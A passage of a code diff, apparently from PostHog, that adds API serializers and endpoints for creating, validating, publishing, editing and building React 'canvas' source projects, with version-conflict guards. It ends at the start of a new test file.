+ "canvas_source", + "canvas_builds", + # POST, but side-effect free: it only reports diagnostics. + "canvas_validate", ] scope_object_write_actions = [ "create", @@ -234,6 +260,9 @@ class FileSystemViewSet(TeamAndOrgViewSetMixin, viewsets.ModelViewSet): "undo_delete", "set_context_generation", "publish_canvas", + "create_canvas", + "publish_canvas_source", + "edit_canvas_source", ] def _basename_regex(self, value: str) -> str: @@ -1031,14 +1060,199 @@ def _retroactively_fix_folders_and_depth(self, user: User) -> None: item.save() -class CanvasPublishSerializer(serializers.Serializer): - """Payload for publishing a freeform canvas's React source via the agent.""" +class CanvasPublishConflictSerializer(serializers.Serializer): + """409 body for a guarded canvas publish based on a stale version.""" + + detail = serializers.CharField(help_text="Human-readable description of the conflict and how to recover.") + code = serializers.CharField(help_text='Always "version_conflict".') + current_version_id = serializers.CharField( + allow_null=True, + help_text="The canvas's live currentVersionId at rejection time (null when the canvas has no versions).", + ) + + +class CanvasSourceAssetSerializer(serializers.Serializer): + encoding = serializers.ChoiceField(choices=["base64"]) + contentType = serializers.ChoiceField( + choices=[ + "image/png", + "image/jpeg", + "image/gif", + "image/webp", + "image/svg+xml", + "font/woff", + "font/woff2", + "application/wasm", + "application/octet-stream", + ] + ) + content = serializers.RegexField( + regex=r"^(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)?$", + max_length=2_796_204, + ) + + +class CanvasPostHogCapabilitiesSerializer(serializers.Serializer): + insights = serializers.ListField(child=serializers.CharField(max_length=128), max_length=100) + inlineQueries = serializers.BooleanField() + captureEvents = serializers.ListField(child=serializers.CharField(max_length=200), max_length=100) + +class CanvasNetworkCapabilitiesSerializer(serializers.Serializer): + origins = serializers.ListField(child=serializers.URLField(max_length=2048), max_length=20) + + +class CanvasCapabilitiesSerializer(serializers.Serializer): + posthog = CanvasPostHogCapabilitiesSerializer() + network = CanvasNetworkCapabilitiesSerializer() + + +class CanvasSourceProjectSerializer(serializers.Serializer): + """A canvas's multi-file source project — the canonical write format for canvas source. + + Until the canvas build service ships, projects are constrained to the + legacy-compatible shape: `index.html` (a fixed synthetic shell) plus + `src/canvas.tsx` (the single React component the runtime mounts). + """ + + schemaVersion = serializers.IntegerField( + help_text="Source-project schema version. Currently always 1.", + ) + files = serializers.DictField( + child=serializers.CharField(allow_blank=True, trim_whitespace=False), + help_text=( + "Project files keyed by relative path (forward slashes, no '..'). Until the canvas build " + 'service ships, only "index.html" and "src/canvas.tsx" (the single React component the ' + "canvas mounts) are supported." + ), + ) + assets = serializers.DictField( + child=CanvasSourceAssetSerializer(), + required=False, + default=dict, + help_text="Optional base64-encoded binary assets keyed by safe project-relative paths.", + ) + entryHtml = serializers.CharField( + help_text='The project\'s entry HTML file. Currently always "index.html".', + ) + dependencies = serializers.DictField( + child=serializers.CharField(), + required=False, + default=dict, + help_text=( + "Exact-version dependencies, restricted to the platform-supported set (react, react-dom, " + "@posthog/quill, recharts, lucide-react, dayjs) at their pinned versions." + ), + ) + canvasSdkVersion = serializers.CharField( + required=False, + default=CANVAS_SDK_VERSION, + help_text="Version of the host-injected `ph` canvas SDK the project targets.", + ) + capabilities = CanvasCapabilitiesSerializer( + required=False, + default=lambda: { + "posthog": {"insights": [], "inlineQueries": False, "captureEvents": []}, + "network": {"origins": []}, + }, + help_text="Bounded capabilities frozen into the built artifact.", + ) + + +class CanvasDiagnosticSerializer(serializers.Serializer): + """One structured validation/build diagnostic for a canvas source project.""" + + severity = serializers.ChoiceField( + choices=["error", "warning"], + help_text="'error' blocks publishing; 'warning' is advisory and does not block.", + ) code = serializers.CharField( - allow_blank=True, - trim_whitespace=False, - help_text="The complete single-file React source for the canvas.", + help_text="Stable machine-readable diagnostic code, e.g. 'import_not_allowed' or 'unsupported_file'.", + ) + message = serializers.CharField(help_text="Human-readable description of the problem and how to fix it.") + path = serializers.CharField( + required=False, + help_text="Project-relative path of the file the diagnostic points at, when file-specific.", + ) + line = serializers.IntegerField( + required=False, + help_text="1-based line number within `path`, when the diagnostic points at a specific line.", + ) + + +class CanvasSummarySerializer(serializers.Serializer): + """Identity and version pointers for one canvas (a desktop 'dashboard' entry).""" + + id = serializers.UUIDField(help_text="The canvas's desktop file-system id.") + name = serializers.CharField(help_text="Display name of the canvas (the leaf segment of its path).") + channel_id = serializers.CharField( + allow_null=True, + help_text="File-system id of the channel (folder) the canvas belongs to, when recorded.", + ) + current_version_id = serializers.CharField( + allow_null=True, + help_text="Id of the live source version — pass as expected_current_version_id on publish. Null before the first publish.", + ) + version_count = serializers.IntegerField(help_text="Number of source versions in the canvas's history.") + created_at = serializers.DateTimeField(help_text="When the canvas was created.") + current_source_version_id = serializers.CharField( + allow_null=True, + required=False, + help_text="Id of the normalized source-version row the canvas's head points at (null before the lifecycle recorded one).", + ) + published_build_id = serializers.CharField( + allow_null=True, + required=False, + help_text="Id of the canvas's live (last successful, still-eligible) build. Null until a build completes.", + ) + + +class CanvasCreateSerializer(serializers.Serializer): + """Payload for creating a new, empty canvas in a channel.""" + + name = serializers.CharField( + allow_blank=False, + trim_whitespace=True, + help_text="Display name for the canvas. Slashes are replaced with spaces.", + ) + channel_id = serializers.CharField( + help_text="Desktop file-system id of the channel (folder) to create the canvas in.", + ) + + +class CanvasSourceResponseSerializer(serializers.Serializer): + """A canvas's source project plus the version pointer edits must be based on.""" + + canvas = CanvasSummarySerializer(help_text="Identity and version pointers for the canvas.") + project = CanvasSourceProjectSerializer( + help_text="The canvas's source project. Legacy single-file canvases are presented as a synthetic project." ) + current_version_id = serializers.CharField( + allow_null=True, + help_text="The live source version this project reflects — pass as expected_current_version_id when publishing an edit. Null before the first publish.", + ) + + +class CanvasValidateRequestSerializer(serializers.Serializer): + """Payload for validating a candidate source project without publishing it.""" + + project = CanvasSourceProjectSerializer(help_text="The candidate source project to validate.") + + +class CanvasValidateResponseSerializer(serializers.Serializer): + """Validation outcome for a candidate source project.""" + + valid = serializers.BooleanField(help_text="True when the project has no error-severity diagnostics.") + diagnostics = CanvasDiagnosticSerializer( + many=True, + help_text="Structured diagnostics; errors block publishing, warnings are advisory.", + ) + + +class CanvasSourcePublishSerializer(serializers.Serializer): + """Payload for publishing a complete canvas source project.""" + + project = CanvasSourceProjectSerializer(help_text="The complete source project to publish.") prompt = serializers.CharField( required=False, allow_blank=True, @@ -1056,22 +1270,163 @@ class CanvasPublishSerializer(serializers.Serializer): allow_null=True, allow_blank=False, help_text=( - "Optimistic-concurrency guard: the currentVersionId the publisher based its edits on " - "(null when it read a canvas with no versions yet). When provided and the canvas has since " - "moved past it (a concurrent publish, or a user's undo) the publish is rejected with a 409 " - "version_conflict instead of overwriting the newer head. Omit to publish unguarded." + "Optimistic-concurrency guard: the current_version_id the publisher based its edits on " + "(null when it read a canvas with no versions yet). When the canvas has since moved past it " + "the publish is rejected with a 409 version_conflict instead of overwriting the newer head. " + "Omit to publish unguarded." ), ) -class CanvasPublishConflictSerializer(serializers.Serializer): - """409 body for a guarded canvas publish based on a stale version.""" +class CanvasSourceEditOperationSerializer(serializers.Serializer): + """One per-file edit: set a file's content, or delete it.""" - detail = serializers.CharField(help_text="Human-readable description of the conflict and how to recover.") - code = serializers.CharField(help_text='Always "version_conflict".') - current_version_id = serializers.CharField( + path = serializers.CharField( + help_text='Project-relative path of the file to write or delete (e.g. "src/canvas.tsx").' + ) + content = serializers.CharField( + required=False, allow_null=True, - help_text="The canvas's live currentVersionId at rejection time (null when the canvas has no versions).", + allow_blank=True, + trim_whitespace=False, + help_text="The file's complete new content. Null (or omitted) deletes the file.", + ) + + +class CanvasSourceEditSerializer(serializers.Serializer): + """Payload for publishing per-file edits against the canvas's current source.""" + + operations = CanvasSourceEditOperationSerializer( + many=True, + allow_empty=False, + help_text="Edits applied in order to the canvas's current source project.", + ) + prompt = serializers.CharField( + required=False, + allow_blank=True, + trim_whitespace=False, + help_text="Short description of the change, stored on the appended version history entry.", + ) + name = serializers.CharField( + required=False, + allow_blank=False, + trim_whitespace=True, + help_text="Optional new display name for the canvas (rewrites the leaf segment of its path).", + ) + expected_current_version_id = serializers.CharField( + allow_null=True, + help_text=( + "Required optimistic-concurrency guard: the current_version_id the edits are based on (null when the " + "canvas has never been published). Diff edits against a moved head are rejected with 409 " + "version_conflict — they cannot be published unguarded." + ), + ) + + +class CanvasSourcePublishResponseSerializer(serializers.Serializer): + """Result of a successful source-project publish.""" + + canvas = CanvasSummarySerializer(help_text="The canvas after the publish, including the new version pointer.") + current_version_id = serializers.CharField(help_text="Id of the source version this publish created.") + diagnostics = CanvasDiagnosticSerializer( + many=True, + help_text="Advisory (warning-severity) diagnostics recorded for the published project.", + ) + + +class CanvasArtifactAssetSerializer(serializers.Serializer): + """One emitted file of a built canvas artifact.""" + + path = serializers.CharField(help_text="Artifact-relative path of the emitted file.") + contentHash = serializers.CharField(help_text="Hex SHA-256 of the file content.") + sizeBytes = serializers.IntegerField(help_text="Size of the file in bytes.") + + +class CanvasArtifactManifestSerializer(serializers.Serializer): + """The manifest frozen into a ready build: entry, assets, versions, capabilities.""" + + entryHtml = serializers.CharField(help_text="The artifact's entry HTML file.") + assets = CanvasArtifactAssetSerializer(many=True, help_text="Every emitted artifact file with its content hash.") + dependencies = serializers.DictField( + child=serializers.CharField(), + help_text="Exact dependency versions the artifact was built against.", + ) + canvasSdkVersion = serializers.CharField(help_text="Version of the `ph` canvas SDK the artifact targets.") + legacyComponentPath = serializers.CharField( + required=False, + allow_null=True, + help_text="Path of the runtime-mounted React component, for legacy-tier artifacts.", + ) + legacyCode = serializers.CharField( + required=False, + allow_null=True, + allow_blank=True, + trim_whitespace=False, + help_text="The runtime-mounted component source, for legacy-tier artifacts.", + ) + capabilities = serializers.DictField( + help_text="Declared PostHog/network capabilities the artifact is held to at runtime.", + ) + + +class CanvasBuildSerializer(serializers.Serializer): + """Lifecycle record of one build of a canvas source version.""" + + id = serializers.UUIDField(help_text="The build's id.") + source_version_id = serializers.UUIDField(help_text="The source version this build compiled.") + build_status = serializers.ChoiceField( + choices=["queued", "building", "ready", "failed"], + help_text="Build lifecycle state. A failed build never replaces the last-known-good artifact.", + ) + diagnostics = CanvasDiagnosticSerializer( + many=True, + help_text="Structured diagnostics recorded by the build (errors explain a failed status).", + ) + manifest = CanvasArtifactManifestSerializer( + required=False, + allow_null=True, + help_text="The frozen artifact manifest — present once the build is ready.", + ) + integrity = serializers.CharField( + allow_null=True, + help_text="Hex SHA-256 over the manifest — the artifact's integrity anchor. Null until ready.", + ) + artifact_url = serializers.URLField( + allow_null=True, + help_text="Short-lived URL for the ready build's entry HTML. Null until ready or when artifact delivery is unavailable.", + ) + pinned = serializers.BooleanField(help_text="Pinned builds are retained for the lifetime of the canvas.") + created_at = serializers.DateTimeField(help_text="When the build was queued.") + finished_at = serializers.DateTimeField(allow_null=True, help_text="When the build reached a terminal state.") + + +class CanvasBuildsResponseSerializer(serializers.Serializer): + """A canvas's build lifecycle: live pointers plus its most recent builds.""" + + published_build_id = serializers.CharField( + allow_null=True, + help_text="Id of the canvas's live build (the last successful, still-eligible one). Null until a build completes.", + ) + current_source_version_id = serializers.CharField( + allow_null=True, + help_text="Id of the source-version row the canvas's head points at.", + ) + builds = CanvasBuildSerializer(many=True, help_text="Most recent builds, newest first (capped at 20).") + + +class CanvasBuildActionSerializer(serializers.Serializer): + action = serializers.ChoiceField(choices=["retry", "pin", "unpin", "cancel"]) + build_id = serializers.UUIDField() + + +class CanvasSourceInvalidSerializer(serializers.Serializer): + """400 body for a publish whose source project failed validation.""" + + detail = serializers.CharField(help_text="Human-readable summary of why the project was rejected.") + code = serializers.CharField(help_text='Always "invalid_source_project".') + diagnostics = CanvasDiagnosticSerializer( + many=True, + help_text="The validation diagnostics, including at least one error.", ) @@ -1142,41 +1497,26 @@ def _get_dashboard_or_400(self) -> FileSystem | Response: ) return instance - @extend_schema( - operation_id="desktop_file_system_canvas_partial_update", - request=CanvasPublishSerializer, - responses={ - 200: FileSystemSerializer, - 409: OpenApiResponse( - response=CanvasPublishConflictSerializer, - description="The canvas moved past expected_current_version_id (a concurrent publish or an undo).", - ), - }, - ) - @action(methods=["PATCH"], detail=True, url_path="canvas") - def publish_canvas(self, request: Request, *args: Any, **kwargs: Any) -> Response: - """Publish a new version of a freeform canvas's React source. - - Merges into the dashboard row's `meta` (never replaces it), so existing - keys like `channelId`/`templateId` survive. Appends a full-file version - snapshot and points `currentVersionId` at it — the server-side mirror of - the app's dashboardsService.saveFreeform, including the linear-discard of - any redo tail left behind by an undo. When the publisher passes - `expected_current_version_id`, a publish based on a stale version is - rejected with 409 `version_conflict` instead of overwriting the newer head. + def _apply_canvas_publish( + self, + dashboard: FileSystem, + *, + code: str, + prompt: str | None, + name: str | None, + has_expected_version: bool, + expected_version_id: str | None, + record_lifecycle: Callable[[FileSystem, dict[str, Any], dict[str, Any]], None] | None = None, + ) -> tuple[FileSystem, dict[str, Any] | None, bool]: + """Append a canvas version and advance the pointer, under the row lock. + + Returns the (re-fetched) dashboard, a 409 `version_conflict` payload when a + guarded publish is based on a stale version (the canvas is left untouched), + and whether this was the canvas's first publish. `record_lifecycle` runs + inside the transaction with the locked row, the merged meta, and the + appended version entry — the hook the normalized source-version/build + lifecycle uses so its rows commit or roll back with the publish. """ - dashboard = self._get_dashboard_or_400() - if isinstance(dashboard, Response): - return dashboard - - payload = CanvasPublishSerializer(data=request.data) - payload.is_valid(raise_exception=True) - code = payload.validated_data["code"] - prompt = payload.validated_data.get("prompt") - name = payload.validated_data.get("name") - has_expected_version = "expected_current_version_id" in payload.validated_data - expected_version_id = payload.validated_data.get("expected_current_version_id") - now_ms = int(time.time() * 1000) version: dict[str, Any] = {"id": str(uuid4()), "code": code, "createdAt": now_ms} if prompt: @@ -1191,15 +1531,13 @@ def publish_canvas(self, request: Request, *args: Any, **kwargs: Any) -> Respons current_version_id = meta.get("currentVersionId") if has_expected_version and current_version_id != expected_version_id: - return Response( - { - "detail": "The canvas changed since it was read (a concurrent publish or an undo). " - "Re-fetch the canvas, re-apply the edits to the fresh source, and publish again.", - "code": "version_conflict", - "current_version_id": current_version_id, - }, - status=status.HTTP_409_CONFLICT, - ) + conflict = { + "detail": "The canvas changed since it was read (a concurrent publish or an undo). " + "Re-fetch the canvas, re-apply the edits to the fresh source, and publish again.", + "code": "version_conflict", + "current_version_id": current_version_id, + } + return dashboard, conflict, False # Snapshot the live author context onto the version (reverting restores it). existing_context = meta.get("context") @@ -1232,6 +1570,8 @@ def publish_canvas(self, request: Request, *args: Any, **kwargs: Any) -> Respons "updatedAt": now_ms, } ) + if record_lifecycle is not None: + record_lifecycle(dashboard, meta, version) dashboard.meta = meta update_fields = ["meta"] @@ -1245,10 +1585,445 @@ def publish_canvas(self, request: Request, *args: Any, **kwargs: Any) -> Respons dashboard.save(update_fields=update_fields) + return dashboard, None, first_publish + + def _resolve_channel(self, channel_id: str) -> FileSystem | None: + """The project's channel folder with this id, or None (including a malformed id — + agents pass arbitrary strings, and a UUID-field lookup on one raises).""" + try: + return self._scope_by_project(FileSystem.objects.all()).filter(id=channel_id, type="folder").first() + except (ValueError, DjangoValidationError): + return None + + def _canvas_summary(self, entry: FileSystem) -> dict[str, Any]: + meta = entry.meta or {} + segments = split_path(entry.path) + return { + "id": str(entry.id), + "name": segments[-1] if segments else entry.path, + "channel_id": meta.get("channelId"), + "current_version_id": meta.get("currentVersionId"), + "version_count": len(meta.get("versions") or []), + "created_at": entry.created_at, + "current_source_version_id": meta.get("currentSourceVersionId"), + "published_build_id": meta.get("publishedBuildId"), + } + + @extend_schema( + operation_id="desktop_file_system_canvases_list", + parameters=[ + OpenApiParameter( + name="channel_id", + type=str, + required=False, + description="Only return canvases inside this channel (desktop folder id).", + ), + ], + responses={200: CanvasSummarySerializer(many=True)}, + ) + @action(methods=["GET"], detail=False, url_path="canvases", pagination_class=None, request=None) + def canvases(self, request: Request, *args: Any, **kwargs: Any) -> Response: + """List the project's canvases, newest first (capped at 100).""" + queryset = self._scope_by_project(FileSystem.objects.all()).filter(type="dashboard") + channel_id = request.query_params.get("channel_id") + if channel_id: + channel = self._resolve_channel(channel_id) + if channel is None: + return Response({"detail": "Channel not found."}, status=status.HTTP_404_NOT_FOUND) + queryset = queryset.filter(path__startswith=f"{channel.path}/") + entries = queryset.order_by("-created_at")[:100] + return Response(CanvasSummarySerializer([self._canvas_summary(entry) for entry in entries], many=True).data) + + @extend_schema( + operation_id="desktop_file_system_canvases_create", + request=CanvasCreateSerializer, + responses={201: CanvasSummarySerializer}, + ) + @canvases.mapping.post + def create_canvas(self, request: Request, *args: Any, **kwargs: Any) -> Response: + """Create a new, empty canvas in a channel. + + The canvas starts with no source; publish a source project to give it one. + """ + payload = CanvasCreateSerializer(data=request.data) + payload.is_valid(raise_exception=True) + + channel = self._resolve_channel(payload.validated_data["channel_id"]) + if channel is None: + return Response({"detail": "Channel not found."}, status=status.HTTP_400_BAD_REQUEST) + + # Path segments are "/"-separated, so a name can't contain one (mirrors the app). + name = re.sub(r"\s+", " ", payload.validated_data["name"].replace("/", " ")).strip() or "Untitled canvas" + now_ms = int(time.time() * 1000) + user = request.user if isinstance(request.user, User) else None + created_by_label = (f"{user.first_name} {user.last_name}".strip() or user.email) if user is not None else None + meta: dict[str, Any] = { + "channelId": str(channel.id), + "templateId": "freeform", + "createdAt": now_ms, + "updatedAt": now_ms, + } + if created_by_label: + meta["createdBy"] = created_by_label + + serializer = self.get_serializer(data={"path": f"{channel.path}/{name}", "type": "dashboard", "meta": meta}) + serializer.is_valid(raise_exception=True) + self.perform_create(serializer) + entry = cast(FileSystem, serializer.instance) + return Response(CanvasSummarySerializer(self._canvas_summary(entry)).data, status=status.HTTP_201_CREATED) + + @extend_schema( + operation_id="desktop_file_system_canvas_source_retrieve", + responses={200: CanvasSourceResponseSerializer}, + ) + @action(methods=["GET"], detail=True, url_path="canvas/source", request=None) + def canvas_source(self, request: Request, *args: Any, **kwargs: Any) -> Response: + """Read a canvas's source project and the version pointer edits must be based on. + + Legacy single-file canvases are presented as a synthetic web project whose + `src/canvas.tsx` holds the stored React component. + """ + dashboard = self._get_dashboard_or_400() + if isinstance(dashboard, Response): + return dashboard + + meta = dashboard.meta or {} + response = { + "canvas": self._canvas_summary(dashboard), + "project": synthetic_source_project(meta), + "current_version_id": meta.get("currentVersionId"), + } + return Response(CanvasSourceResponseSerializer(response).data) + + @extend_schema( + operation_id="desktop_file_system_canvas_validate_create", + request=CanvasValidateRequestSerializer, + responses={200: CanvasValidateResponseSerializer}, + ) + @action(methods=["POST"], detail=True, url_path="canvas/validate", request=CanvasValidateRequestSerializer) + def canvas_validate(self, request: Request, *args: Any, **kwargs: Any) -> Response: + """Validate a candidate source project without publishing it. + + Side-effect free: returns the same structured diagnostics a publish would + enforce, so agents can iterate until the project is publishable. + """ + dashboard = self._get_dashboard_or_400() + if isinstance(dashboard, Response): + return dashboard + + payload = CanvasValidateRequestSerializer(data=request.data) + payload.is_valid(raise_exception=True) + + diagnostics = validate_source_project(payload.validated_data["project"]) + response = {"valid": not has_errors(diagnostics), "diagnostics": diagnostics} + return Response(CanvasValidateResponseSerializer(response).data) + + @extend_schema( + operation_id="desktop_file_system_canvas_publish_create", + request=CanvasSourcePublishSerializer, + responses={ + 200: CanvasSourcePublishResponseSerializer, + 400: OpenApiResponse( + response=CanvasSourceInvalidSerializer, + description="The source project failed validation; nothing was published.", + ), + 409: OpenApiResponse( + response=CanvasPublishConflictSerializer, + description="The canvas moved past expected_current_version_id (a concurrent publish or an undo).", + ), + }, + ) + @action(methods=["POST"], detail=True, url_path="canvas/publish", request=CanvasSourcePublishSerializer) + def publish_canvas_source(self, request: Request, *args: Any, **kwargs: Any) -> Response: + """Publish a complete canvas source project as the canvas's new head version. + + Validates the project first — an error-severity diagnostic rejects the + publish with 400 and leaves the canvas untouched. Guarded publishing via + `expected_current_version_id` rejects a stale base with 409 instead of + overwriting newer work. + """ + dashboard = self._get_dashboard_or_400() + if isinstance(dashboard, Response): + return dashboard + + payload = CanvasSourcePublishSerializer(data=request.data) + payload.is_valid(raise_exception=True) + + return self._publish_source_project( + request, + dashboard, + project=payload.validated_data["project"], + prompt=payload.validated_data.get("prompt"), + name=payload.validated_data.get("name"), + has_expected_version="expected_current_version_id" in payload.validated_data, + expected_version_id=payload.validated_data.get("expected_current_version_id"), + ) + + def _publish_source_project( + self, + request: Request, + dashboard: FileSystem, + *, + project: dict[str, Any], + prompt: str | None, + name: str | None, + has_expected_version: bool, + expected_version_id: str | None, + ) -> Response: + """Validate + publish a complete source project (shared by publish and edit).""" + diagnostics = validate_source_project(project) + if has_errors(diagnostics): + body = { + "detail": "The source project failed validation; fix the error diagnostics and publish again.", + "code": "invalid_source_project", + "diagnostics": diagnostics, + } + return Response(CanvasSourceInvalidSerializer(body).data, status=status.HTTP_400_BAD_REQUEST) + + active_builds = CanvasBuild.objects.for_team(self.team_id).filter( + status__in=[CanvasBuild.STATUS_QUEUED, CanvasBuild.STATUS_BUILDING] + ) + if active_builds.count() >= MAX_ACTIVE_CANVAS_BUILDS_PER_TEAM: + return Response( + {"detail": "Canvas build capacity is temporarily exhausted. Try again shortly."}, + status=status.HTTP_429_TOO_MANY_REQUESTS, + ) + + # Upload-then-commit: the immutable source object goes up before the + # transaction; a conflicting publish leaves it unreferenced for the + # retention sweep. Storage being unavailable degrades the publish to + # legacy-only (no lifecycle rows) instead of failing the canvas save. + source_object: tuple[str, str, int] | None = None + try: + source_object = upload_source_project(self.team_id, dashboard.id, project) + except ObjectStorageError as error: + logger.warning("canvas_source_upload_failed", canvas_id=str(dashboard.id), error=str(error)) + + record_lifecycle: Callable[[FileSystem, dict[str, Any], dict[str, Any]], None] | None = None + if source_object is not None: + uploaded = source_object + task_id = self._request_task_id(request) + user = request.user if isinstance(request.user, User) else None + + def _record(locked: FileSystem, meta: dict[str, Any], version: dict[str, Any]) -> None: + record_publish( + locked, + meta, + project=project, + source_object=uploaded, + legacy_version_id=version["id"], + prompt=prompt, + task_id=task_id, + created_by_id=user.id if user else None, + ) + + record_lifecycle = _record + + dashboard, conflict, first_publish = self._apply_canvas_publish( + dashboard, + code=extract_legacy_code(project), + prompt=prompt, + name=name, + has_expected_version=has_expected_version, + expected_version_id=expected_version_id, + record_lifecycle=record_lifecycle, + ) + if conflict is not None: + return Response(conflict, status=status.HTTP_409_CONFLICT) + if first_publish: self._announce_canvas_created(request, dashboard) - return Response(self.get_serializer(dashboard).data) + meta = dashboard.meta or {} + response = { + "canvas": self._canvas_summary(dashboard), + "current_version_id": meta.get("currentVersionId"), + "diagnostics": diagnostics, + } + return Response(CanvasSourcePublishResponseSerializer(response).data) + + @extend_schema( + operation_id="desktop_file_system_canvas_edit_create", + request=CanvasSourceEditSerializer, + responses={ + 200: CanvasSourcePublishResponseSerializer, + 400: OpenApiResponse( + response=CanvasSourceInvalidSerializer, + description="An edit targeted a missing file, or the edited project failed validation.", + ), + 409: OpenApiResponse( + response=CanvasPublishConflictSerializer, + description="The canvas moved past expected_current_version_id (a concurrent publish or an undo).", + ), + }, + ) + @action(methods=["POST"], detail=True, url_path="canvas/edit", request=CanvasSourceEditSerializer) + def edit_canvas_source(self, request: Request, *args: Any, **kwargs: Any) -> Response: + """Publish per-file edits against the canvas's current source project. + + Diff-aware alternative to sending the complete project: each operation + sets a file's content or (content null) deletes it, applied to the head + the caller read. `expected_current_version_id` is mandatory here — + relative edits against an unverified base could silently merge into + someone else's newer work, so unguarded diff publishes are refused. + """ + dashboard = self._get_dashboard_or_400() + if isinstance(dashboard, Response): + return dashboard + + payload = CanvasSourceEditSerializer(data=request.data) + payload.is_valid(raise_exception=True) + + project = synthetic_source_project(dashboard.meta or {}) + diagnostics: list[dict[str, Any]] = [] + for operation in payload.validated_data["operations"]: + path = operation["path"] + content = operation.get("content") + if content is None: + if path not in project["files"]: + diagnostics.append( + { + "severity": "error", + "code": "edit_target_missing", + "message": f"cannot delete {path} — the project has no file at that path", + "path": path, + } + ) + continue + del project["files"][path] + else: + project["files"][path] = content + if diagnostics: + body = { + "detail": "The edit could not be applied to the canvas's current source.", + "code": "invalid_source_project", + "diagnostics": diagnostics, + } + return Response(CanvasSourceInvalidSerializer(body).data, status=status.HTTP_400_BAD_REQUEST) + + return self._publish_source_project( + request, + dashboard, + project=project, + prompt=payload.validated_data.get("prompt"), + name=payload.validated_data.get("name"), + has_expected_version=True, + expected_version_id=payload.validated_data["expected_current_version_id"], + ) + + @staticmethod + def _request_task_id(request: Request) -> UUID | None: + """The publishing task's id, when the sandbox stamped one on the call.""" + raw_task_id = (request.headers.get("X-PostHog-Task-Id") or "").strip() + try: + return UUID(raw_task_id) + except ValueError: + return None + + @extend_schema( + operation_id="desktop_file_system_canvas_builds_retrieve", + responses={200: CanvasBuildsResponseSerializer}, + ) + @action(methods=["GET"], detail=True, url_path="canvas/builds", request=None) + def canvas_builds(self, request: Request, *args: Any, **kwargs: Any) -> Response: + """Read a canvas's build lifecycle: live pointers plus recent builds with diagnostics. + + Poll this after publishing — the publish queues a build, and the + canvas's `published_build_id` advances only once the build is ready. + """ + dashboard = self._get_dashboard_or_400() + if isinstance(dashboard, Response): + return dashboard + + meta = dashboard.meta or {} + builds = CanvasBuild.objects.for_team(self.team_id).filter(canvas=dashboard).order_by("-created_at")[:20] + response = { + "published_build_id": meta.get("publishedBuildId"), + "current_source_version_id": meta.get("currentSourceVersionId"), + "builds": [ + { + "id": build.id, + "source_version_id": build.source_version_id, + "build_status": build.status, + "diagnostics": build.diagnostics or [], + "manifest": build.manifest, + "integrity": build.integrity, + "artifact_url": create_canvas_artifact_url(build, build.manifest["entryHtml"]) + if build.status == CanvasBuild.STATUS_READY and isinstance(build.manifest, dict) + else None, + "pinned": build.pinned, + "created_at": build.created_at, + "finished_at": build.finished_at, + } + for build in builds + ], + } + return Response(CanvasBuildsResponseSerializer(response).data) + + @extend_schema( + operation_id="desktop_file_system_canvas_build_action_create", + request=CanvasBuildActionSerializer, + responses={200: CanvasBuildSerializer}, + ) + @action(methods=["POST"], detail=True, url_path="canvas/builds/action", request=CanvasBuildActionSerializer) + def canvas_build_action(self, request: Request, *args: Any, **kwargs: Any) -> Response: + dashboard = self._get_dashboard_or_400() + if isinstance(dashboard, Response): + return dashboard + serializer = CanvasBuildActionSerializer(data=request.data) + serializer.is_valid(raise_exception=True) + action_name = serializer.validated_data["action"] + with transaction.atomic(): + build = ( + CanvasBuild.objects.for_team(self.team_id) + .select_for_update() + .filter(id=serializer.validated_data["build_id"], canvas=dashboard) + .first() + ) + if build is None: + return Response({"detail": "Canvas build not found."}, status=status.HTTP_404_NOT_FOUND) + if action_name == "retry": + if build.status != CanvasBuild.STATUS_FAILED: + return Response({"detail": "Only failed builds can be retried."}, status=status.HTTP_409_CONFLICT) + build = CanvasBuild.objects.create( + team_id=self.team_id, + canvas=dashboard, + source_version=build.source_version, + status=CanvasBuild.STATUS_QUEUED, + ) + from posthog.tasks.canvas_build import process_canvas_build # noqa: PLC0415 + + transaction.on_commit(lambda: process_canvas_build.delay(self.team_id, str(build.id))) + elif action_name == "cancel": + if build.status != CanvasBuild.STATUS_QUEUED: + return Response({"detail": "Only queued builds can be cancelled."}, status=status.HTTP_409_CONFLICT) + build.status = CanvasBuild.STATUS_FAILED + build.diagnostics = [ + {"severity": "warning", "code": "cancelled", "message": "The canvas build was cancelled."} + ] + build.finished_at = timezone.now() + build.save(update_fields=["status", "diagnostics", "finished_at"]) + else: + build.pinned = action_name == "pin" + build.save(update_fields=["pinned"]) + return Response( + CanvasBuildSerializer( + { + "id": build.id, + "source_version_id": build.source_version_id, + "build_status": build.status, + "diagnostics": build.diagnostics, + "manifest": build.manifest, + "integrity": build.integrity, + "artifact_url": create_canvas_artifact_url(build, build.manifest["entryHtml"]) + if build.status == CanvasBuild.STATUS_READY and isinstance(build.manifest, dict) + else None, + "pinned": build.pinned, + "created_at": build.created_at, + "finished_at": build.finished_at, + } + ).data + ) def _announce_canvas_created(self, request: Request, dashboard: FileSystem) -> None: """Announce a canvas's first publish in the generating task's thread. diff --git a/posthog/api/file_system/test/test_canvas_builds.py b/posthog/api/file_system/test/test_canvas_builds.py new file mode 100644 index 000000000000..d2c7a8f1a34f --- /dev/null +++ b/posthog/api/file_system/test/test_canvas_builds.py @@ -0,0 +1,315 @@ +from datetime import timedelta +from typing import Any, cast +from uuid import UUID + +from posthog.test.base import APIBaseTest +from unittest.mock import patch + +from django.utils import timezone + +from rest_framework import status + +from posthog.api.file_system import canvas_build_service +from posthog.api.file_system.canvas_build_service import cleanup_canvas_builds, run_canvas_build +from posthog.api.file_system.canvas_source import CANVAS_COMPONENT_PATH, CANVAS_ENTRY_HTML +from posthog.models.file_system.canvas_build import CanvasBuild, CanvasSourceVersion +from posthog.models.file_system.file_system import FileSystem +from posthog.storage.object_storage import ObjectStorageError + +CODE_V1 = 'import React from "react";\nexport default () =>
v1
;\n' +CODE_V2 = 'import React from "react";\nexport default () =>
v2
